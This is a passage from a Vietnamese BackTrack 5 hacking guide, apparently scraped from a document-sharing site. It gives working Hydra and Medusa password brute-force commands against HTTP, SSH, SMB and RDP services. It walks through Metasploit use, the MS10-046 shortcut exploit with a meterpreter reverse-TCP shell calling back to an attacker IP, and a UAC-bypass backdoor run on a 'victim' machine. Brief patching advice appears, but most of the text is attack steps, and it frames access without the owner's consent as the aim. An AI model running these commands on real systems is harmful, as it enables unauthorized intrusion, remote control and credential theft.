Password Cracking Trên Các Giao Thức

Một phần của tài liệu TÀI LIỆU HƯỚNG DẪN VÀ SỬ DỤNG BACKTRACK 5 ĐỂ KHAI THÁC LỖ HỔNG MẠNG docx (Trang 51 - 106)

1. HTTP (HyperText Tranfer Protocol)

c) Khái niệm

Đây là giao thức chuyển đổi siêu văn bản và thường được sử dụng cho các ứng dụng Web (World Wide Web – WWW) trên cổng mặc định là 80.

d) Có 2 dạng mã hóa HTTP:

Basic access authentication: là phương pháp trình duyệt web hoặc các chương trình khác cung cấp username và password when được yêu cầu. Nó hỗ trợ tất cả các trình duyệt web, tuy nhiên, cả username và password được gởi đi dạng plain text nên ít được áp dụng vào thưc tế. Và quá trình đăng nhập vào router là một ví dụ điển hình.

52 Chúng ta có thể dùng Wireshark để bắt:

53 Như trên hình username và password bắt được: admin:12345

 Digest access authentication: là một trong những phương pháp được thỏa thuận áp dụng cho máy chủ web để có thể vượt qua các thông tin với trình duyệt web của người dùng. Nó sử dụng hàm bâm(hash) để mã hóa các thông tin nhạy cảm trước khi gửi chúng qua mạng.

e) Crack Password HTTP

54 Truy cập vào trinh duyệt để kiểm tra thử quá trình xác thực

55 Vào Terminal trên BackTrack 5 gõ: hydra –f –L login.txt –P password.txt 192.168.10.1 http-get http://192.168.10.1

Trong đó:

-f: finish:tìm được cặp username và password hợp lệ đầu tiên sẽ kết thúc -L: file username (-l username)

-P: file password (-p password)

192.168.10.1: địa chỉ ip cần bẻ khóa mật khẩu đăng nhập

http-get: dịch vụ http cổng 80 (http được thay thế bằng http-get và http- head)

56 Hoặc: medusa –h 192.168.10.1 –U login.txt –P password –M http

Trong đó:

-h host hay địa chỉ ip cần bẻ khóa mật khẩu đăng nhập. -U: file username (-u username)

-P: file password (-p password)

57 Sau đó quay lại trinh duyệt web, ta nhập username và password tìm được:

58

2. SSH (Secure Shell)

a) Khái niệm

SSH là một giao thức mạng cho việc giao tiếp dữ liệu bảo mật, các dịch vụ shell từ xa hoặc thực thi lệnh vàn các dịch vụ mạng bảo mật khác giữa các máy tính được nối mạng với nhau. Nó kết nối thông qua một kênh bảo mật trên một mạng không bảo mật: một máy chủ và một máy khách (chạy các chương SSH server và SSH Client).

Ứng dụng được biết đến nhiều nhất của giao thức này là việc truy cập đến tài khoản shell của hệ điều hành LIKE-UNIX (LINUX). Nó sinh ra để thay thế các chuẩn giao thức không bảo mật khác như telnet, rsh, rexec …, khi mà password được gửi đi dạng plain text, có thể dễ dàng đọc được.

SSH hoạt động trên TCP cổng 22.

b) Crack password qua SSH

Kiểm tra dịch vụ ssh có đang chạy hay không?

59 Với Medusa: medusa –h 192.168.10.101 –U login.txt –P password.txt –M ssh

Và đây là cách truy cập vào thiết bị Nokia N900 từ xa với username và password vừa tìm được:

60 Ví dụ kiểm tra các card mạng từ xa:

61

3. SMB (Server Message Block)

a) Khái niệm

SMB được biết đến như là Common Internet File System (CIFS), hoạt động ở tầng ứng dụng trong mô hình OSI, thường thường được sử dụng để cung cấp truy cập chia sẽ các file, máy in… và các giao tiếp khác nhau giữa các nút mạng trên mạng. Nó còn cung cấp kỹ thuật giao tiếp liên quá trình có xác thực. Hầu hết sử dụng của SMB đều liên quan đến Microsoft Windows.

SMB có thể chạy trên tầng giao dịch (Session) hoặc thấp hơn: o Trực tiếp trên TCP cỗng 445;

o Thông qua NetBIOS (cung cấp nhiều dịch vụ liên quan đến tầng ứng dụng trong mô hình OSI cho phép các ứng dụng trên các máy tính phân biệt có thể giao tiếp vơi nhau thông qua mạng LAN) trên UDP cổng 137, 138 và TCP 137, 139

b) Crack password SMB

62 Với Hydra tao gõ: hydra –f –L login.txt –P password.txt 192.168.10.100 smb

Với Medusa, ta gõ: medusa –h 192.168.10.100 –U login.txt –P password.txt smbnt

63 Và đây là cách chúng ta sử dụng username và password vừa tìm được

64

4. RDP (Remote Desktop Protocol)

a) Khái niệm

RDP là một giao thức giao tiếp của cá nhân hay tổ chức được phát triển bởi Microsoft, cung cấp cho người dùng một giao diện đồ họa đối với máy tính khác.

Hiện tại, Microsoft đã chuyển phần mềm chủ (server) RDP sang Remote Desktop Services như Terminal Services (dịch vụ đầu cuối) và phần mềm khách (client) như là Terminal Services Client.

Khi thực hiện kết nối đến một máy tính nào đó từ xa, chúng ta sẽ nhận được yêu cầu xác thực người dùng và mật khẩu phù hợp. Vì vậy việc crack password RDP là cần thiết nếu ta truy cập mà chưa được sự chấp nhận của người dùng.

RDP hoạt động trên TCP cổng 3389

b) Crack password RDP

65 Với Hydra: hydra –f –L login.txt –P password.txt 192.168.10.100 rdp –t 4 – w 1

Với Medusa, nó không hỗ trợ trực tiếp giao thức RDP. Tuy nhiên, ta có thể dùng modum wrapper với script là rdesktop. Ta thực hiện như sau:

66

Medusa –M wrapper –m TYPE:STDIN –m PROG:rdesktop –m ARGS:”-u %U –p - %H” –h 192.168.10.100 –U login.txt –P password.txt

Tuy vậy, chương trình vẫn hoạt động chưa đúng đắn lắm và tốn nhiều thời gian vì phải kẻ tấn công phải nhập vào từng password một.

Đầy là cách dùng rdesktop để điều khiển máy tính từ xa với username và password tìm được:

67

Chương 6: SYSTEM HACKING I. GIỚI THIỆU VỀ METASPLOIT

1. Giới thiệu

Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn đề lỗ hổng bảo mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống phát hiện tấn công mạng. Một dự án con rất nổi tiếng của Metasploit là Metasploit Framework.

Metasploit Framework là một môi trường dùng để kiểm tra ,tấn công và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler, và Python.Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Chúng ta có thể download chương trình tại www.metasploit.com

Metasploit có phiên bản hiện tại là 4.4.

2. Các thành phần của Metasploit

Metasploit hỗ trợ nhiều giao diện với người dùng:

Console interface: dùng lệnh msfconsole. Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn

Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao diện web

Command line interface: dùng msfcli Enviroment :

Global Enviroment:được thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits

Temporary Enviroment: được thực thi thông qua 2 câu lệnh set và unset, enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các module exploit khác

Chúng có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ được lưu trong ./msf/config và sẽ được load trở lại khi user interface được thực hiện

3. Sử dụng Metasploit Framework

a) Chọn module exploit

68  show exploits: xem các module exploit mà framework có hỗ trợ  use exploit_name: chọn module exploit

info exploit_name: xem thông tin về module exploit

Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các module trên www.metasploit.com hoặc qua lệnh msfupdate hoặc svn update /opt/metasploit/msf3/

b) Cấu hình module exploit đã chọn

show options: Xác định những options nào cần cấu hình  set : cấu hình cho những option của module đó

Một vài module còn có những advanced options, chúng ta có thể xem bằng cách gõdòng lệnh show advanceds

c) Verify những options vừa cấu hình

check: kiểm tra xem những option đã được set chính xác chưa.

d) Lựa chọn target

Lựa chọn hệ diều hành nào để thực hiện

show targets: những target được cung cấp bởi module đó  set: xác định target nào

vd: msf> use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

e) Lựa chọn payload

Payload là đoạn code mà sẽ chạy trên hệ thống remote machine, là một phần của virus máy tính để thực thi mã độc.

show payloads: liệt kê ra những payload của module exploit hiện tại  info payload_name: xem thông tin chi tiết về payload đó

set payload payload_name: xác định payload module name.Sau khi lựa chọn payload nào, dùng lệnh show options để xem những options của payload đó

show advanced: xem những advanced options của payload đó

f) Thực thi exploit

exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho chúng ta những thông tin về hệ thống được khai thác

4. Giới thiệu Payload Meterpreter

Meterpreter, viết tắt từ Meta-Interpreter là một payload nâng cao có trong Metasploit Framework. Muc đích của nó là để cung cấp những tập lệnh để khai thác,

69 tấn câng các máy remote computers. Nó được viết từ các developers dưới dạng shared object (DLL) files. Meterpreter và các thành phần mở rộng được thực thi trong bộ nhớ, hoàn toàn không được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm chống virus

Meterpreter cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote computers:

Fs(Filesystem): cung cấp quá trình tương tác với filesystem

Net: cho phép xem thông tin mạng của remote machine như IP, route table…

Process:cho phép tạo tương tác với các tiến trình trên remote machine

Sys: cho phép xem thông tin hệ thống, môi trường của remote machine

a) Sử dụng module Fs

cd directory:giống lệnh cd của commandline, chuyển thư mục làm việc

getcwd:cho biết thư mục đang làm việc hiện tại  ls:liệt kê các thư mục và tập tin

upload src1 [src2 ...] dst:upload file từ src tới dst.  download src1 [src2 ...] dst:download file từ src tới dst.

b) Sử dụng module Net

ipconfig:xem câu hình của card mạng của máy tính từ xa  route:xem bảng định tuyến của remote machine

c) Sử dụng module Process

execute -f file [ -a args ] [ -Hc ]:Câu lệnh execute cho phép tạo ra một process mới trên remote machine và sử dụng process đó để khai thác dữ liệu

kill pid1 pid2 pid3:huỷ hoặc tắt các process đang chạy trên máy remote machine

ps:liệt kê những process của remote machine

d) Sử dụng module Sys

getuid: cho biết username hiện tại của remote machine

sysinfo:cho biết thông tin về máy tính nạn nhân: hệ điều hành, phiên bản, nền tản 32bits hay 64bits

70

5. Cách phòng chống

Thường xuyên cập nhật các bản vá lỗi của Microsofts. Ví dụ như để Metasploit không thể khai thác được lỗi Lsass_ms04_011, chúng ta phải cập nhật bản vá lỗi của Microsoft. Theo Microsoft đánh giá, đây là một lỗi nghiêm trọng, có trên hầu hết tất cả các hệ điều hành windows. Chúng ta nên sử dụng hotfix có number là 835732 để vá lỗi trên.

II. Lỗi MS10-046 (2286198) 1. Giới thiệu 1. Giới thiệu

Đây là một lỗi rất nghiêm trọng liên quan đến Windows Shellcủa cho tất cả các hệ điều hành bị ảnh hưởng, cho phép kẻ tấn công chiếm lấy toàn quyền điều khiển Windows và thực thi mã nguồn từ xa. Lỗi này được phát hiện vào tháng 06/2010 và đến tháng 08/2010, Microsoft tung ba bản vá lỗi.

Lỗi nguy hiểm này nằm trong các tập tin "shortcut" (*.lnk) của Windows, các tập tin này thường nằm ở giao diện desktop hay trình đơn Start. Bằng cách tạo ra một tập tin shortcut nhúng mã độc, tin tặc có thể tự động thực thi mã độc khi người dùng xem tập tin shortcut hay nội dung của một thư mục chứa tập tin shortcut nhúng mã độc.

71

2. Các bước tấn công:

 Saukhi khởi động BackTrack và đang nhập thành công, ta khởi động Terminal ta được:

 Ta gõ tiếp: msfconsoleenter:

Hệ Điều Hành

Windows XP Service Pack 3

Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2*

Windows XP Professional x64 Edition Service Pack 2

Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2*

Windows Server 2003 Service Pack 2

Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2 Windows Server 2003 x64 Edition Service

Pack 2 Windows 7 for 32-bit Systems Windows Server 2003 with SP2 for

Itanium-based Systems Windows 7 for x64-based Systems Windows Vista Service Pack 1 and

Windows Vista Service Pack 2

Windows Server 2008 R2 for x64-based Systems*

Windows Vista x64 Edition Service Pack 1 and Windows Vista x64 Edition Service Pack 2

Windows Server 2008 R2 for Itanium- based Systems

72  Để dùng mã lỗi ms10-046: search ms10-046 enter

 Ta gõ tiếp:

use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

73  Dùng lệnh: show options để xem các tham số cần thiết để có thể tiến

hành tấn công đươc:

o SRVHOST: địa chỉ máy của kẻ tấn công, để lắng nghe có nạn nhân nào kết nối đến hay không

74  Ta sẽ:

o set PAYLOADwindows/meterpreter/reverse_tcp

o set SRVHOST 192.168.1.200

o set lhost địa chỉ IP: set LHOST 192.168.1.200. LHOST là tham số của PAYLOAD mà ta vừa set ở trên.

75  Trên máy tính nạn nhân, tạo 1 shortcut bằng cách nhấn phải chuột vào

76 Ta gõ vào địa chỉ của máy tấn công vào Type the location of the item:

http://192.168.1.200/anythingvà chọn Next

77  Đợi một lát, trên máy tính tấn công ta được:

78  Để tương tác với 1 session nào đó ta thực hiện: sessions –i 1 (1 là id của

sessions)

Và bây giờ thì mọi việc đã trở nên dễ dàng hơn, khi kẻ tấn công đã điều khiển được máy nạn nhân với toàn quyền. Ví dụ:

 Lệnh sysinfo để lấy thông tin của máy nạn nhân:

79  Lệnh rất hữu ích để sử dụng cmd (command-line): shell

3. Cách phòng chống

Thường xuyên cập nhật các bản vá lỗi của Windows để trách bị hacker lợi dụng.

80 Bản vá lỗi có tên mã là KB2286198 chứa đựng phiên bản mới của tập tin Shell32.dll, đây là phần cập nhật quan trọng. Shell32.dll là một tập tin thư viện rất quan trọng trong Windows, nó chứa đựng một số hàm Windows Shell API. Nếu Shell32.dll bị lỗi hay cập nhật lỗi, máy tính sẽ có tình trạng "Màn hình xanh chết chóc" hay Blue Screen.

III. Lỗi BYPASSUAC 1. Giới thiệu 1. Giới thiệu

Từ Windows Vista trở về sau, Microsoft đã giới thiệu một tiện ích được xây dựng sẵn là User Access Control (UAC). UAC làm tăng tính bảo mật của Windows bằng cách giới hạn các phần mềm ứng dụng của nhóm quyền người sử dụng cơ bản. Vì vậy, chỉ những phần mềm được người dùng tin tưởng mới nhận được quyền quản trị, những phần mềm khác thì không. Tuy nhiên, với tài khoản của người quản trị, các ứng dụng vẫn bị giới hạn như những tài khoản thường khác.

Các hệ điều hành có tích hợp sẵn User Access Control điều bị ảnh hưởng và có thể khai thác.

2. Các bước tấn công

 Vào Terminal, gõ msfconsoleEnter:

use exploit/multi/handler. Đây là một modume cung cấp nhiều chức năng của hệ thống payload Metasploit cho chúng ta khai thác bằng cách

81 thực hiện: run post/windows/escalate/bypassuac như là ví dụ trong trường hợp này và còn nhiều thứ khác nữa.

set PAYLOAD windows/meterpreter/reverse_tcp: cho phép kết nối lại với máy tính tấn công để dễ dàng điều khiển.

set LHOST 192.168.1.202: host lắng nghe, địa chỉ IP của máy tấn công  set LPORT 6789:port lắng nghe, tùy ý miễn là chưa được sử dụng.

82  Ta sẽ tạo ra một con backdoor cho phép kết nối đến server mà chúng ta

83  Sau khi tạo xong, ta copy file backdoor.exe đến máy tính nạn nhân và thực thi. Chúng ta có thể sử dùng Samba chia sẽ file giữa Windows và Linux.

Một phần của tài liệu TÀI LIỆU HƯỚNG DẪN VÀ SỬ DỤNG BACKTRACK 5 ĐỂ KHAI THÁC LỖ HỔNG MẠNG docx (Trang 51 - 106)

Tải bản đầy đủ (PDF)

(106 trang)